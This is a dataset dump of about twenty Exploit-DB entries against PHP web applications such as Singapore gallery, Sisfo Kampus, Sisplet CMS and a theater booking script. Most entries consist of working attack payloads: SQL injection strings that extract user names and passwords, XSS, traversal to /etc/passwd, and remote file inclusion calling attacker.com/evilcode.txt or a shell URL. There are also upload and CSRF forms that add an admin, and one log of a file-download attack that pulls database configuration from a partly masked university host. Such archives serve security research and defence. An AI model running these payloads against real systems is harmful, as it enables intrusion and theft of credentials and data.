deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39087
Description: Singapore 0.9.9b Beta - Image Gallery Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-02-05
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/65420/info

Singapore Image Gallery is prone to a remote file-include vulnerability and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information, execute arbitrary script code in the context of the web server process, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site or steal cookie-based authentication credentials and launch other attacks.

Singapore 0.9.9b and 0.9.10 are vulnerable; other versions may also be vulnerable. 

http://www.example.com/thumb.php?gallery=./[PII_REDACTED]0-764&height=100&image=[File Upload]
Exploit-DB #28067
Description: Singapore 0.9.x/0.10 - 'index.php?template' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-19
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18518/info
 
singapore gallery is prone to directory-traversal and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit the directory-traversal vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the webserver process.
 
The cross-site scripting vulnerability allows an attacker to leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/singapore/index.php?template=<script>alert('Moroccan Security Team');</script>
Exploit-DB #28066
Description: Singapore 0.9.x/0.10 - Multiple Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-06-19
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18518/info

singapore gallery is prone to directory-traversal and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit the directory-traversal vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the webserver process.

The cross-site scripting vulnerability allows an attacker to leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/singapore/index.php?gallery=./../../../
Exploit-DB #41514
Description: Single Theater Booking Script - 'newsid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Single Theater Booking Script - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/single-theater-booking-script/
# Demo: http://www.theaterbookingscript.com/demo/theater-booking/single-theater/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news_desc.php?newsid=[SQL]
# For example;
# -7'+/*!50000union*/+select+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6-- -
# users :user_id
# users :email
# users :user_name
# users :password
# users :mobile
# users :country
# users :state
# -7'+/*!13337union*/+select+1,/*!13337concat*/(0x496873616e2053656e63616e203c62723e,user_name,0x3a,password),3,4,5,6+from+users-- -
# # # # #
Exploit-DB #43302
Description: Single Theater Booking Script 3.2.1 - 'findcity.php?q' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Single Theater Booking Script 3.2.1 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/single-theater-booking-script/
# Version: 3.2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/findcity.php?q=[SQL]
# 
# s'++/*!02222UNION*/+/*!02222SELECT*/+1,2,3,(/*!02222Select*/+export_set(5,@:=0,(/*!02222select*/+count(*)/*!02222from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!02222table_name*/,0x3c6c693e,2),/*!02222column_name*/,0xa3a,2)),@,2)),5--+-
# 
# 
# # # # #
Exploit-DB #45511
Description: Singleleg MLM Software 1.0 - 'msg_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-01
Author: Ihsan Sencan

Exploit:
# Exploit Title: Singleleg MLM Software 1.0 - 'msg_id' SQL Injection
# Dork: N/A
# Date: 2018-10-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://mlmsoftwarez.in/
# Software Link: http://mlmdemo.biz/singleleg/root.html
# Software Link: http://mlmdemo.biz/autopool/root.html
# Software Link: http://mlmdemo.biz/gift/root.html
# Software Link: http://mlmdemo.biz/investment/root.html
# Software Link: http://mlmdemo.biz/bidding/root.html
# Software Link: http://mlmdemo.biz/adclicking/root.html
# Software Link: http://mlmdemo.biz/repurchase/root.html
# Software Link: http://mlmdemo.biz/moneyorderplan/root.html
# Software Link: http://mlmdemo.biz/level/root.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# Affected Products: Singleleg MLM Software 1.0, Autopool MLM Software 1.0, Gift MLM Software 1.0
# Investmen MLM Software 1.0, Bidding MLM Software 1.0, ADD Clicking MLM Software 1.0
# Repurchase MLM Software 1.0, Moneyorder MLM Software 1.0, Level MLM Software 1.0
# CVE: N/A

# POC: 
# http://localhost/[PATH]/member/readmsg.php?msg_id=[SQL]

%2d%74%65%73%74%35%27%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29%2c%28%34%29%2c%28%35%29%2c%28%36%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%38%29%2c%28%39%29%2c%28%31%30%29%2c%28%31%31%29%2c%28%31%32%29%2c%28%31%33%29%2c%28%31%34%29%2c%28%31%35%29%29%2d%2d%20%2d
Exploit-DB #3245
Description: SIPS 0.3.1 - 'box.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-01
Author: ajann

Exploit:
*******************************************************************************
# Title   :  SIPS <= 0.3.1(box.inc.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://sourceforge.net/projects/sips/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include $config["sipssys"] ."/code/rssparser.inc.php";
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]/sipssys/code/box.inc.php?config[sipssys]=[SHELL]

Example:

/sipssys/code/box.inc.php?config[sipssys]=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-01]
Exploit-DB #1656
Description: Sire 2.0 - '/lire.php' Remote File Inclusion / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-04-09
Author: simo64

Exploit:
[+]File Inclusion:
       Input passed to the "rub" parameter in "lire.php" isn't properly verified,
       before it is used to include remote files
       Successful exploitation requires that "register_globals" is enabled.

[lire.php code]
<?
       73              if(empty($_GET["rub"])){$rub=rtrim($rubriques[0]);} else {$rub=$_GET["rub"];}
       75              include($rub."/compter.php"); ## File Inclusion !!

       298             echo $rub; ## XSS
?>

[+]Exploit: Exploit http://[trajet]/lire.php?rub=http://[attacker]&cahier=1&art=1
[+]http://[attacker]/compter.php Will be Included And Executed withe the privilege of the webserver


File Upload
Remote User can Upload jpg,jpeg,gif,bmp files without Identification ,
[upload.php code:]
<?
if( isset($_POST['upload']) ) // si formulaire soumis
{
#Upload code ....
}
?>
Exploit :

<form enctype="multipart/form-data" method="post" action="http://Trajet/upload.php?">
Download File<br>
<input name="fichier" type="file" size="48"><br>
<input type="submit" name="upload" value="uploader"><form>

[Moroccan Security Team]

contact:
simo64[at]gmail[dot]com

# milw0rm.com [2006-04-09]
Exploit-DB #27592
Description: SIRE 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-04-10
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/17431/info

SIRE is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<form enctype="multipart/form-data" method="post" action="http://Trajet/upload.php?"> Download File<br>

<input name="fichier" type="file" size="48"><br>
<input type="submit" name="upload" value="uploader"><form>
Exploit-DB #2847
Description: Sisfo Kampus 0.8 - Remote File Inclusion / Download
Type: webapps
Platform: php
Date: 2006-11-25
Author: Wawan Firmansyah

Exploit:
#       Source Code = Sisfokampus 0.8
#
#       Website = www.Sisfokampus.net
#
#       Author = E. Setio Dewo (setio_dewo@telkom.net)
#
#       Dorkz : Allinurl: /index.php?exec=


#       File Vuln :     index.php
#                       print.php
#                       download.php ( Local File Include )
#
#       Found by :      Wawan Firmansyah a.k.a Ang|n
                        angkaramurka2003@yahoo.com

###############################################################################

# Source of index.php

       -------------------------[Line 27]-----------------------------
       <?php
          if ($exec=='main.php' && file_exists("$themedir/main.php"))
               include "$themedir/main.php";
               else include $exec;
       ?>
       -------------------------[Line 31]------------------------------

# Source Of print.php

       -------------------------[Line 15]------------------------------
       <?php
       include_once "sysfo/sysfo.common.php";

       if (isset($_REQUEST['print'])) {
       $print = $_REQUEST['print'];
       include "$print";
       }
       else die (DisplayHeader($fmtErrorMsg, $strNoDataTobePrint));

       include "disconnectdb.php";
       ?>
       -------------------------[Line 25]-------------------------------

# Source Of download.php

       -------------------------[Line 1]--------------------------------
       <?php
       DisplayHeader($fmtPageTitle, $strDownload);
       include "lib/file.common.php";
       if (isset($_REQUEST['dir'])) $dir = $_REQUEST['dir'];
       else $dir = $Download_dir;
       if (substr($dir, -1) != '/' && substr($dir, -1) != '\\') $dir = "$dir/";
       DisplayDownloadDir($dir);
       ?>
       -------------------------[Line 8]--------------------------------

##################################################################################

# Exploit of index.php

       http://www.victim.com/index.php?exec=http://attacker.com/evilcode.txt?

# Exploit of print.php
       http://www.victim.com/print.php?print=http://attacker.com/evilcode.txt?
       or
       http://www.victim.com/index.php?exec=print&print=http://attacker.com/evilcode.txt?

# Exploit of download.php

       http://www.victim.com/index.php?exec=download&dir=/etc/passwd

##################################################################################

Greatz :
       K-159 ( Thanks for ur Support & Advice )
       #cyberbox community in dal.net
       #indolinux in dal.net
       #edp in dal.net

##################################################################################

# milw0rm.com [2006-11-25]
Exploit-DB #4380
Description: Sisfo Kampus 2006 - 'blanko.preview.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2007-09-08
Author: QTRinux

Exploit:
              *****************************************QTRinux**************************************
|                       Sisfo Kampus 2006 (blanko.preview.php) Local File Inclusion Vulnerability
|                                                        Discovered by QTRinux|                                                                                                           www.root-qtr.com|                                                          Qatar Security t34m
| Vendor: http://www.sisfokampus.net/
 
| DorK : Powered by Sisfo Kampus 2006
 
| Exploit: http://[h0sT]/[dir]/blanko.preview.php?nmf=/etc/passwd
 
| Greetings: ( AlQaTaR! . MR.SH4R3S . Mo0oTeC  . MaZaG! ) ;
 
 
               *************************************************************************************

# milw0rm.com [2007-09-08]
Exploit-DB #4386
Description: Sisfo Kampus 2006 - 'dwoprn.php?f' Arbitrary File Download
Type: webapps
Platform: php
Date: 2007-09-10
Author: k-one

Exploit:
original File name : PUPET-SisfoKampus2006.txt

date releases      : September 10, 2007

 

Information :

=========================

Advisory Name: Sisfo Kampus 2006 Local File Downloaded Vulnerability

Author: k-one A.K.A PUPET

Website vendor : http://sisfokampus.net/

Problem : All Local File can downloaded


POC :

=========================

 

http://[h0sT]/[dir]/dwoprn.php?f=connectdb.php

 

 

[pupet@vps ~]$ wget http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

--07:30:16--  http://***.*****-subang.ac.id/dwoprn.php?f=connectdb.php

           => `dwoprn.php?f=connectdb.php'

Resolving ***.*****-subang.ac.id... 203.130.***.**

Connecting to siak.universitas-subang.ac.id[203.130.***.**]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 292 [application/dwoprn]

 

100%[====================================================================================================================================================================>] 292           --.--K/s

 

07:30:22 (2.78 MB/s) - `dwoprn.php?f=connectdb.php' saved [292/292]

 

[pupet@vps ~]$ cat dwoprn.php?f=connectdb.php

<?php

  // file: connectdb.php

  // author: E. Setio Dewo, Maret 2003

 

  $db_username = "t26924_siak";

  $db_hostname = "localhost";

  $db_[CREDENTIAL_REDACTED]";

  $db_name = "t26924_siak";

 

  $con = _connect($db_hostname, $db_username, $db_password);

  $db  = _select_db($db_name, $con);

 

?>

Vendor Response:

==============

Not contacted yet

 

Patch :

=============

No Patch Available

This bugs Discover by : k-one A.K.A PUPET (Join our community at irc.indoirc.net #safana)

# milw0rm.com [2007-09-10]
Exploit-DB #30573
Description: SisfoKampus - 'dwoprn.php' Arbitrary File Download
Type: webapps
Platform: php
Date: 2007-09-10
Author: PUPET

Exploit:
source: https://www.securityfocus.com/bid/25617/info


Sisfo Kampus is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the webserver process. Information obtained may aid in further attacks.

This issue affects SisfoKampus 2006; other versions may also be vulnerable.

http://www.example.com/dwoprn.php?f=connectdb.php
Exploit-DB #22038
Description: Sisfokol 4.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-10-17
Author: cr4wl3r

Exploit:
Undergroundthalo Hacking Team - Security Advisory

Release Date.              13-Okt-2012
Last Update.               -             
Vendor Notification Date.  14-Okt-2012
Product.                   Sisfokol 4.0
Download.		   http://sisfokol.bitnet.web.id/
Platform.                  PHP
Affected versions.         4.0 possibly others
Solution Status.	   No response from the vendor
Severity Rating.           High
Impact.                    Exposure of sensitive information
                           Exposure of system information
                           System Access
Attack Vector.             Remote without authentication
CVE reference.             CVE - not yet assigned

Details
The web application is vulnerable to multiple security
vulnerabilities, such as Unauthenticated File Upload

Remote Bypass Authentication
All form in direktori [Sisfokol]/janissari/k/ does not require authentication
to upload a file. By issuing a POST request with a webshell
embedded in a JPEG image it is possible to upload [Sisfokol]/filebox/

Direktori Affected
Sisfokol/janissari/k/profil/profil.php
Sisfokol/janissari/k/album/album_detail.php
Sisfokol/janissari/k/artikel/artikel_post_filebox.php
Sisfokol/janissari/k/buletin/buletin_post_filebox.php
Sisfokol/janissari/k/jurnal/jurnal_post_filebox.php

Discovered by.
Ramdan Yantu aka cr4wl3r from Undergroundthalo Hacking Team

Undergroundthalo Hacking Team
Site: http://0xuht.org
Twitter: @hackb0x
Exploit-DB #3667
Description: Sisplet CMS 05.10 - 'site_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-05
Author: kezzap66345

Exploit:
Sisplet CMS
*****************
Found by kezzap66345 *
*****************
*****************
Script Download:http://www.sisplet.org/uploadi/editor/Sisplet0504.tar.bz2
		        https://sourceforge.net/project/showfiles.php?group_id=111881

*****************
*****************
ERROR#1:
File:main/forum/komentar.php
*****************


require($site_path.'main/forum/class.php');     <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/main/forum/komentar.php?site_path=[SHELL]


**************************************************************************************
**************************************************************************************
Thanks:Siircicocuk and x0r0n
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# milw0rm.com [2007-04-05]
Exploit-DB #5984
Description: Sisplet CMS 2008-01-24 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: CWH Underground

Exploit:
=================================================================
  Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
=================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 1 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Sisplet CMS
 VERSION     : 2008-01-24
 VENDOR      : http://cms.sisplet.org/
 DOWNLOAD    : http://downloads.sourceforge.net/sisplet/SiSplet-2008-01-24.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (function.php)
-----------------------------------

$sql = mysql_query("SELECT parent FROM menu WHERE id = '$id'");


---------
 Exploit
---------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=[SQL Injection]


------
 POC
------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=15'/**/AND/**/1=2/**/UNION/**/SELECT/**/concat(ime,0x3a,priimek,0x3a,email),2,3,4/**/FROM/**/administratorji/**/WHERE/**/tip='0


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-01]
Exploit-DB #10341
Description: SiSplet CMS 2008-01-24 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-07
Author: cr4wl3r

Exploit:
########################################################################
#SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit
########################################################################

########################################################################
3rr0r 1: ./SiSplet-2008-01-24/main/anketa/new.php (line 3)

       <?php
           require_once($site_path.'main/anketa/class.php');
       ?>

3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php (line 3)

       <?php
           require($site_path.'main/forum/class.php');
       ?>
########################################################################

########################################################################
PoC  :   http://[target]/[path]/main/anketa/new.php?site_path=[Shell]
         http://[target]/[path]/main/forum/komentar.php?site_path=[Shell]
########################################################################

########################################################################
#Contact Me : cr4wl3r[4t]linuxmail[dot]org
Exploit-DB #48571
Description: Sistem Informasi Pengumuman Kelulusan Online 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-06-10
Author: Extinction

Exploit:
# Exploit Title: Sistem Informasi Pengumuman Kelulusan Online 1.0 - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 2020-06-10
# Exploit Author: Extinction
# Vendor Homepage: https://adikiss.net/
# Software Link: https://adikiss.net/2014/06/aplikasi-sistem-informasi-pengumuman-kelulusan-online-2/
# Version: latest
# Tested on: Linux,windows,macOS

# Description SpearSecurity :
# CSRF vulnerability was discovered in Sistem kelulusan.
# With this vulnerability, authorized users can be added to the system.

POC:

<html>
<body>
<center>
<hr>
<form action="http://localhost.com/[path]admin/tambahuser.php" method="POST">
<input type="text" class="form-control" name="nama"
placeholder="Username" size="35">
<br>
<input type="text" class="form-control" name="username"
placeholder="Spear" size="35">
<br>
<input type="text" class="form-control" name="pass"
placeholder="Security" size="35">
<br>
<br>
<input type="submit" name="submit" id="submit" value="Simpan Data"
class="btn btn-primary" onclick="tb_remove()">
</form>
<hr>
<h1> CODED BY SPEAR-SECURITY </h1>
<h2> Author Extinction </h2>
</body>
</html>

#SpearSecurity-ID